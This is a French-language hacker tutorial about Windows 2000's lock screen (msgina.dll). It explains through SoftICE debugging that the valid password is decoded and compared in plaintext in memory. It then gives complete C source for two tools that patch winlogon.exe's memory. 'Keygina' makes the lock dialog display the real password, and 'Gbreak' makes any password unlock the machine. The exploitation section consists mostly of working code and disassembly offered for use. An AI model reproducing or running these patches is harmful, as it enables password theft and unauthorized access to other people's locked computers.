How to bypass NT authentification without any password

ntbug2005@yahoo.fr

SOMMAIRE

  1. Introduction
  2. Outils
  3. Le système d'authentification interactive
  4. Msgina.dll faille & exploitation
    1. Diagnostic de la Faille
    2. Keygina 
    3. Gbreak
  5. Conclusion

 

I.  Introduction:

Normalement le système d'authentification est une partie critique d'un système d'exploitation, car il permet d'identifier les utilisateurs légitimes et de leurs accorder l'accès aux ressources de la machine, il est donc indispensable de s'assurer que ce système soit fiable voir même inviolable.
Ce que nous allons voir dans cet article est le résultat de la négligence des programmeurs Microsoft à l'égard du système d'authentification interactive de Windows 2000(donc  Windows NT).Plus précisément on va mettre la lumière sur une erreur de programmation qui s'est glissée dans la dll msgina.             

Le problème se manifeste par la présence, en mémoire, des mots de passes des utilisateurs, et cela en clair!!(plain text) et non sous forme de hash ou bien sous forme cryptée.

Quand je parle ici des utilisateurs, il faut aussi inclure l'administrateur alors forcément ça fait mal :)) et ce qui fait le plus mal ,c'est qu'il suffit d'un debugger pour pouvoir intercepter le mot de passe. Bref avec cette faille, récupérer un mot de passe sous Windows devient un jeu d'enfant. Plus besoin de cracker la sam ou bien dumper les hash depuis la base des registres.:-)
Pour démontrer la gravité de la situation, on va avoir recours à une session de reverse sur la dll msgina ce qui nous permettra littéralement de "keygener" (si on peut dire ça) le système de verrouillage de win2k. "Keygener" signifie ici, que nous allons obliger Windows à afficher (dans une boite de dialogue) le bon mot de passe, lorsque on entre un mot de passe invalide (lors du verrouillage de Win2k par les touches ctrl-alt-suppr puis on click sur "Verrouiller L'ordinateur").
En plus de keygener le système d'authentification en exploitant une faille, on va le neutraliser totalement et l'obliger à déverrouiller la machine même si on ne possède pas le bon mot de passe. Ce qui prouvera une fois pour toute la fragilité de ce système. 

Finalement on va maîtriser le tout on codant deux patch "Keygina" et "Gbreak" (direct en mémoire)  :-).

II.  Outils:

Pour arriver à nos fins, on va utiliser  :

Je pense que tout bon hacker win32(ou bien cracker, programmeur,..) a déja en sa possession la majorité de ces outils (y compris le dernier),il ne reste plus qu'à connaître notre adversaire.

III.  Le Système D'authentification Interactive:

Pour ceux d'entre vous qui n'ont toujours pas compris le rôle du système d'authentification interactive, et bien ce système est utilisé principalement sous Windows dans deux cas:

Dans ces deux cas le système d'authentification interactive est sollicité pour valider l'identité de l'utilisateur, initialiser le système avec le profile de cet utilisateur et enfin lui accorder un shell!!(sous windows le shell par défaut est le programme Explorer.exe).

-En interne tout ce travail a été confié au programme Winlogon.exe qui se trouve dans le répertoire system32 de windows.Mais en réalité Winlogon fait appel à la dll gina (msgina.dll) et aussi aux dll réseau (network providers).Ce qui nous donne un modèle de système d'authentification composé des trois parties suivantes:

  1. Le programme exécutable Winlogon.exe(situé dans system32).
  2. La dll Gina(msgina.dll situé dans system32).
  3. Les dll réseau (Network providers).

Les dll réseau(network providers) n'ont pas une importance capitale pour nous,car elles sont uniquement utilisées dans les réseaux non-microsft pour initialiser et établir les connexions.

Gina dll ou bien "Graphical Identification and Authentication DLL" s'occupe de la partie identification et de tout ce qui concerne la politique d'authentification. Elle exporte des fonctions qui sont utilisées par le programme Winlogon.
Cette dll a été implémentée sous forme de module unique et non incluse dans Winlogon pour laisser une certaine liberté dans le choix de l'authentification à utiliser. Par exemple il est possible de remplacer la dll msgina.dll, qui est fournie en standard avec Windows, par votre propre dll gina qui permet d'utiliser une carte à puce au lieu des classiques username et password pour l'authentification ,mais cela est un tout autre sujet.
*Après avoir dit ça, on convient que l'essentiel de l'authentification est assurée par l'interaction de Winlogon Avec Gina.Winlogon utilise les fonctions qui sont exportées par msgina.dll et selon la documentation Microsoft(MSDN) voici les principales fonctions qui doivent êtres exportées par gina:

On peut vérifier l'exactitude(ou l'inexactitude =)) de ces information en ouvrant la dll msgina.dll (qui est situé dans winnt\system32)avec w32dasm,puis on va dans le menu "Functions" et on clique sur "Exports".Je vous laisse découvrir le résultat vous même ;)
Jusqu'ici nous avons une vision générale de gina et des fonctions qu'elle exporte et cela est tout à fait suffisant pour exploiter notre faille. Alors on passe à une partie plus fun de cette article.

IV.  Msgina.dll faille & exploitation:

1.  Diagnostic de la Faille:

Avant de plonger dans les entrailles de Windows, je tiens à préciser que tout ce qui suit a été uniquement testé sur Windows 2000 Professionnel, néanmoins vous pouvez essayer de vérifier la présence de la faille sur Windows NT ou bien Windows XP en vous inspirant des étapes ci-dessous.
Maintenant qu'on s'est mis d'accord, vous pouvez lancer Soft-ice (net start ntice).
Une fois soft-ice lancé, verrouillez votre machine en appuyant sur les touches ctrl-Alt-suppr puis on clique sur "verrouillé l'ordinateur".Normalement vous devriez être devant une boite de dialogue qui vous demande votre nom d'utilisateur et votre mot de passe.
Par défaut le champ
nom d'utilisateur est déjà rempli par le nom de l'utilisateur qui a verrouillé la machine, il ne nous reste donc plus qu'a remplir le champ mot de passe.
Maintenant supposant que vous ne
connaissez pas le mot de passe (ce qui est faut parce que c'est votre machine :-))et que vous voulez déverrouiller la machine. D'abord on essaye un pass bidon pour voir ce que ça donne.
Donc entrez quelque chose dans le champs mot de passe et cliquez sur OK. Le message suivant doit s'afficher:


---------------------------
Ordinateur verrouillé.
---------------------------

Le mot de passe est incorrect. Entrez de nouveau votre mot de passe en respectant la casse. Assurez-vous que
Verr. Maj. n'est pas activé par erreur.

---------------------------
OK
---------------------------


 

Jusqu'ici le système fait sont travail correctement, on clique sur OK est on est de retour devant notre boite de dialogue qui nous demande toujours d'entrer le pass.

On affiche maintenant Soft-ice en appuyant sur les touches ctrl-d. On met un break point d'exécution sur la fonction GetDlgItemTextW (donc bpx GetDlgItemTextW), ce qui permettra de voir la saisie des valeurs du nom d'utilisateur et du mot de passe. On retourne sous Windows(avec ctrl-d) et on entre un pass bidon puis on valide avec OK. Aussitôt soft-ice s'affiche sur la première occurrence de la fonction GetDlgItemTextW. On appuie sur F12 pour sortir de GetDlgItemTextW et on se retrouve dans la fonction WlxWkstaLockedSas de msgina qui est chargée dans le processus Winlogon et plus précisément ici:

:7696E038       8D85DCF3FFFF          LEA EAX,[EBP+FFFFF3DC]<===ici "nom d'utilisateur"
:7696E03E       56                                  PUSH ESI
:7696E03F       50                                  PUSH EAX
<===empilement de l'adresse du buffer
:7696E040       53                                  PUSH EBX
:7696E041       FF7508                          PUSH DWORD PTR [EBP+08]
:7696E044       FF15B8129676             Call [USER32!GetDlgItemTextW]
:7696E04A      3BC6                             CMP EAX, ESI

Avant de détailler le code ci-dessus, nous allons jeter un coup d'oeil sur la valeur du registre eax (dans softice  ? eax) chez moi eax contient la valeur E en hexa donc 14 en décimal.14 est exactement le nombre de lettres de mon nom d'utilisateur (qui est Administrateur).
Donc la fonction GetDlgItemTextW a saisie le nom d'utilisateur, mais où est-il stocké?
Revenons au code en haut, on remarque qu'avant d'appeler la fonction GetDlgItemTextW les paramètres sont empilés. Selon la doc Microsoft(MSDN) voici le prototype de la fonction GetDlgItemText :

UINT GetDlgItemText( HWND hDlg, // handle of dialog box
int nIDDlgItem, // identifier of control
LPTSTR lpString, // address of buffer for text
int nMaxCount // maximum size of string
);

Donc normalement le nom d'utilisateur est dans le buffer  dont l'adresse (lpString) est le troisième paramètre de la fonction. Windows utilise le stdcall ce qui signifie que les paramètres sont empilés dans l'ordre inverse. Donc le troisième paramètre devient le deuxième à empiler.
Dans soft-ice le deuxième paramètre empilé avant l'appel de GetDlgItemTextW, est le registre EAX. Avant d'être empilé, ce registre a été initialisé avec la valeur EBP+FFFFF3DC.C'est donc
l'adresse ou est stocké notre Nom d'utilisateur. Un petit "d EBP+FFFFF3DC" dans Soft-ice pour vérifier que le nom d'utilisateur (chez moi "Administrateur" ) est bien stocké dedans.

Maintenant on appuie sur ctrl-d pour quitter Soft-ice et il réapparaît aussi vite qu'il a disparu pour signaler un deuxième appel à la fonction GetDlgItemTextW. On appuie sur F12 pour sortir de la fonction comme précédemment. Ce deuxième appel de la fonction GetDlgItemTextW à pour objectif de saisir le mot de passe, et on se retrouve ici :

:7696E114               8D85DCEBFFFF              LEA EAX,[EBP+FFFFEBDC]<== ici mot de passe
:7696E11A              56                                      PUSH ESI
:7696E11B              50                                      PUSH EAX
:7696E11C              68A2070000                     PUSH 000007A2
:7696E121               FF7508                             PUSH DWORD PTR [EBP+08]
:7696E124               FF15B8129676                 Call [USER32!GetDlgItemTextW]

Avec le même raisonnement précédant, on utilise la commande d EBP+FFFFEBDC pour voir le contenu du deuxième paramètre et on se rend compte que le faux pass que nous avons entré est stocké dedans.
On va mettre un break point sur l'adresse en mémoire du pass (bpm 6E360) pour pouvoir
surveiller les accès à cette adresse. On sort de soft-ice(ctrl-d)et il réapparaît, on appuie encore sur ctrl-d deux ou trois fois jusqu'à ce qu'on se retrouve devant la comparaison (cmp) suivante:

001B:77E87ED6       668B02                          MOV AX,[EDX]
001B:77E87ED9       663B07                          CMP AX,[
EDI]<====comparaison entre le pass valide et  
                                                                                                                            le pass
bidon

Le code ci-dessus se trouve dans le fonction CompareStringW (du kernel). En examinant les deux registres comparés(d EDX et d EDI) on se rend compte que EDX pointe sur le mot de passe que nous avons entré (Pass Bidon) et le vrai mot de passe qui peut déverrouillé la machine est pointé par le registre EDI !!!.Le vrai mot de passe est stocké en clair (plain-text) et il n'est pas crypté!! oula l'énorme bourde de la part de Microsoft!. "It's a bug It's not a feature ;)"

Normalement le mot de passe que nous avons entré devrait être crypté puis comparé au mot de passe valide qui est lui même crypté. Mais ici c'est exactement l'inverse qui s'est produit. Autrement dit le mot de passe valide a été décrypté(avec la fonction RtlRunDecodeUnicodeString (Encore un secret de Microsoft)), puis comparé au mot de passe que nous avons entré, et le tout en clair. Je me demande encore pourquoi avoir fait une telle erreur,  alors qu'il était facile de crypter le mot de passe de l'utilisateur avec la fonction RtlRunEncodeUnicodeString  puis d'effectuer la comparaison.
Enfin Microsoft a des raisons que la raison ne comprend pas (mdr).

Il nous reste maintenant à exploiter cette erreur pour pouvoir extraire le bon mot de passe, alors on passe vite fait à keygina.

2.  Keygina :

J'ai essayé d'exploiter cette faille en codant un patch(keygen) qui permet de faire afficher le mot de passe valide(dans une boite de dialogue) quand la machine est verrouillé. 
Pour cela j'ai utilisé la valeur renvoyée par la fonction RtlRunDecodeUnicodeString comme paramètre de la fonction MessageBoxW, en sachant que la valeur renvoyée par RtlRunDecodeUnicodeString(contenue dans eax) n'est autre que l'adresse du mot de passe valide en
clair.
On peut imaginer aussi l'utilisation de la fonction RtlRunDecodeUnicodeString pour dumper le mot de passe mais cela nécéssite l'analyse de cette fonction et ses paramètres vu que c'est une fonction du kernel (non documentée). 
Notre patch sera effectué dans la dll msgina parce que c'est elle qui utilise la fonction
RtlRunDecodeUnicodeString. Msgina est chargée(LoadLibrary) dans l'espace du processus Winlogon au démarrage du système et elle y reste jusqu'à ce que l'utilisateur se déconnecte. Il est donc indispensable de patcher directement en mémoire. Le patch sera effectué après l'appel de la fonction RtlRunDecodeUnicodeString, pour pouvoir utiliser la valeur du registre eax  comme ceci:

Push 00
Dec eax
Dec eax
Push ebx
Push eax
Push 00
Call MessageBoxW

Ce code sera injecté directement après l'appel de RtlRunDecodeUnicodeString à l'endroit précis désigné dans le fragment de code suivant:

001B:7696E177            50                         Push eax
001B:7696E178            E88D68FFFF       Call 76964A0A
<=====ici appel de RtlRunDecodeUnicodeString
001B:7696E17D           FFB7F4040000    Push Dword Ptr [EDI+000004F4]
<==ici on patch

Pour patcher j'ai écrasé directement le code de msgina et j'ai stabilisé le tout avec quelques nop(0x90).(Pas la peine de faire le Virus en codant un saut ;-)) Je n'ai pas voulu utiliser de librairies spéciales(whl de CrazyLord) dans le patch pour avoir plus de transparence et aussi parce que j'aime bien coder mes propres outils ;-).

Bon j'ai assez parlé comme ça et je vous laisse matter le source du patch (Keygina) ou bien télécharger une version plus confortable à lire en cliquant ici.

/*<---coupez ici--------------------------Keygina.c----------------------------->*/

/**********************************************************
 *                           KeyGina.c (Patch For Msgina by Codasyl)                    *
**********************************************************/

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

#define LOCKADR 0x7696E17D

/********************* Prototypes des fonctions *********************/
int debug_mode(void);

DWORD GetWinlogonPid(void);

int keygen_lock(void);

 

/*@@@@@@@@@@@@@@@@ fonction principale (Main)@@@@@@@@@@@@@@@@*/

int main(void)

{

         int ret;

        ret=keygen_lock();

        if(!ret)

        {

              printf("Keygina failed \n");

              return 0;

         }

         printf("msgina patched successfuly!!\n");

         return 1;

}

/*=================Implémentation des fonction =================*/

/* passage en mode debug */

int debug_mode(void)

{

        HANDLE htoken;

        LUID luid;

        TOKEN_PRIVILEGES ptoken;                                                             if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&htoken))

{

        printf("Error Debug Mode :Failed 1!!\n");

        return 0;

}

if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid))

{

        printf("Error Debug Mode:Failed 2!!\n");

        return 0;

}

    ptoken.PrivilegeCount=1;

    ptoken.Privileges[0].Luid=luid;

    ptoken.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

if(!AdjustTokenPrivileges(htoken,FALSE,&ptoken,0,NULL,NULL))

{

    printf("Error Debug Mode:Failed 3!!\n");

    return 0;

}

    CloseHandle(htoken);

    return 1;

}

/* Trouve le Process Id de Winlogon */

DWORD GetWinlogonPid(void)

{

HANDLE hProcessSnap=NULL;

PROCESSENTRY32 pe32;

char procname[]="winlogon.exe";

DWORD pid=0;

BOOL ret=FALSE;

/* on prend un snapshot de tout les processus du system */

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hProcessSnap==(HANDLE)-1)

{

printf("Failed(1) To retrieve The Process id Of Winlogon!!\n");

return 0;

}

pe32.dwSize=sizeof(PROCESSENTRY32);

ret=Process32First(hProcessSnap,&pe32);

 

if(!ret)

{

printf("Failed(2) To retrieve The Process id Of Winlogon!!\n");

CloseHandle(hProcessSnap);

return 0;

}

 

do{

if(strstr(procname,strlwr(pe32.szExeFile)))

{

pid=pe32.th32ProcessID;

CloseHandle(hProcessSnap);

return(pid);

}

}while(Process32Next(hProcessSnap,&pe32));

 

printf("Failed(3) To retrieve The Process id Of Winlogon!!\n");

CloseHandle(hProcessSnap);

return 0;

}

/** fonction pour keygener le systeme de verrouillage **/

int keygen_lock()

{

UCHAR code[21]={0x6A,0x00,0x48,0x48,0x53,0x50,0x6A,0x00,0xE8,0xFB,0x54,0x4B,0x01,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};

HANDLE hProcess=NULL;

BOOL ret=FALSE;

DWORD pid=0,nbytes=0;

UCHAR check[2]={0,0};

 

/* passage en mode debug */

if(!debug_mode())

return 0;

/* ouverture du processus Winlogon */

pid=GetWinlogonPid();

if(!pid)

return 0;

hProcess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,pid);

if(hProcess==NULL)

{

printf("Error:Can't Open Winlogon Process!!\n");

return 0;

}

/* Vérification Du Patch */

ret=ReadProcessMemory(hProcess,(PVOID)LOCKADR,check,2,&nbytes);

if(!ret || nbytes!=2 )

{

printf("Checking Memory Failed!!\n");

CloseHandle(hProcess);

return 0;

}

 

if((check[0]==0x6A) && (check[1]==0x00))

{

printf("You Are Already Patched :-)\n");

CloseHandle(hProcess);

return 1;

}

/* Ecriture dans l'espace mémoire de Winlogon */

ret=WriteProcessMemory(hProcess,(PVOID)LOCKADR,code,21,&nbytes);

if (!ret || nbytes!=21)

{

printf("Error:Unable To Patch msgina!!\n");

CloseHandle(hProcess);

return 0;

}

CloseHandle(hProcess);

return 1;

}

/*<---coupez ici--------------------------Keygina.C----------------------------->*/

3.  Gbreak:

Gbreak c'est le patch pour faire sauter le verrouillage. Autrement dit après l'exécution de Gbreak, votre machine pourra être déverrouillée avec n'importe quel mot de passe. 
Le patch consiste seulement à inverser un saut conditionnel bien précis. Pour trouver le saut, il faut juste essayer de suivre la logique de fonctionnement de gina (avec soft-ice) tout en essayant de modifier cette logique en assemblant votre code grâce à la commande "a" de soft-ice. Si vous n'arrivez toujours pas à trouver le bon saut et bien vous avez l'offset dans le code de Gbreak (télécharger une version plus confortable à lire: ici) :

 

/*<---coupez ici--------------------------Gbreak.C----------------------------->*/

#include <stdio.h>

#include <windows.h>

#include <tlhelp32.h>

 

#define LOCKADR2 0x7696E195

 

int debug_mode(void);

DWORD GetWinlogonPid(void);

int disable_lock(void);

 

/* Fonction Main */

int main(void)

{

    int ret=0;

    ret=disable_lock();

    if(!ret)

   {

        printf("Patch Failed\n");

        return 0;

    }

    else

    {

        printf("Lock Disabled Successfuly!!\n");

        return 1;

    }

}

/* Fin De Main */

/* passage en mode debug */

int debug_mode(void)

{

HANDLE htoken;

LUID luid;

TOKEN_PRIVILEGES ptoken;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&htoken))

{

printf("Error Debug Mode :Failed 1!!\n");

return 0;

}

if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid))

{

printf("Error Debug Mode:Failed 2!!\n");

return 0;

}

ptoken.PrivilegeCount=1;

ptoken.Privileges[0].Luid=luid;

ptoken.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

if(!AdjustTokenPrivileges(htoken,FALSE,&ptoken,0,NULL,NULL))

{

printf("Error Debug Mode:Failed 3!!\n");

return 0;

}

CloseHandle(htoken);

return 1;

}

/* Fonction pour trouver le pid de winlogon */

DWORD GetWinlogonPid(void)

{

HANDLE hProcessSnap=NULL;

PROCESSENTRY32 pe32;

char procname[]="winlogon.exe";

DWORD pid=0;

BOOL ret=FALSE;

/* on prend un snapshot de tout les processus du system */

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hProcessSnap==(HANDLE)-1)

{

printf("Failed(1) To retrieve The Process id Of Winlogon!!\n");

return 0;

}

pe32.dwSize=sizeof(PROCESSENTRY32);

ret=Process32First(hProcessSnap,&pe32);

 

if(!ret)

{

printf("Failed(2) To retrieve The Process id Of Winlogon!!\n");

CloseHandle(hProcessSnap);

return 0;

}

 

do{

if(strstr(procname,strlwr(pe32.szExeFile)))

{

pid=pe32.th32ProcessID;

CloseHandle(hProcessSnap);

return(pid);

}

}while(Process32Next(hProcessSnap,&pe32));

 

printf("Failed(3) To retrieve The Process id Of Winlogon!!\n");

CloseHandle(hProcessSnap);

return 0;

}

/* Rend Le système de verrouillage complètement con ;-) */

int disable_lock(void)

{

UCHAR patch=0x84;

HANDLE hProcess=NULL;

BOOL ret=FALSE;

DWORD pid=0,nbytes=0;

UCHAR check=0x00;

/* passage en mode debug */

if(!debug_mode())

return 0;

/* ouverture du processus Winlogon */

pid=GetWinlogonPid();

if(!pid)

return 0;

hProcess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,pid);

if(hProcess==NULL)

{

printf("Error:Can't Open Winlogon Process!!\n");

return 0;

}

/* Vérification Du Patch */

ret=ReadProcessMemory(hProcess,(PVOID)LOCKADR2,&check,1,&nbytes);

if(!ret || nbytes!=1 )

{

printf("Checking Memory Failed!!\n");

CloseHandle(hProcess);

return 0;

}

if( check==0x84 )

{

printf("You Locking System Is Already Disabled :-)\n");

CloseHandle(hProcess);

return 1;

}

ret=WriteProcessMemory(hProcess,(PVOID)LOCKADR2,&patch,1,&nbytes);

if (!ret || nbytes!=1)

{

printf("Error:Unable To Patch msgina!!\n");

CloseHandle(hProcess);

return 0;

}

CloseHandle(hProcess);

return 1;

}

/*<---coupez ici--------------------------Gbreak.C----------------------------->*/

 

V.  Conclusion:

 

Voila, l'article est terminé. J'espère que vous avez appris beaucoup de choses, car contrairement aux apparences,  le but de cet article n'était pas de dénigrer Windows 2000 ou bien encore contribuer à démolire la réputation de Microsoft mais plutôt d'acquérir quelques techniques qui vous serviront dans votre longue quête(EverQuest ;-)).

 

Je vous invite à m'envoyer vos suggestions et commentaires à l'adresse ntbug2005@yahoo.fr ou bien à venir directement en parler sur irc (serveur epiknet chan #csg ou #redkod). Sinon pour les insultes ou remarques futiles (genre ceux de bonnobo ;-) ) envoyez les plutôt à /dev/null .

 

Greetz

 

Uri3l,Taylor,Ex0d,Flyers,Hier,R-e-D,Weedo

 

 

 

 

OVEEEEEEEEEEEEEEEEER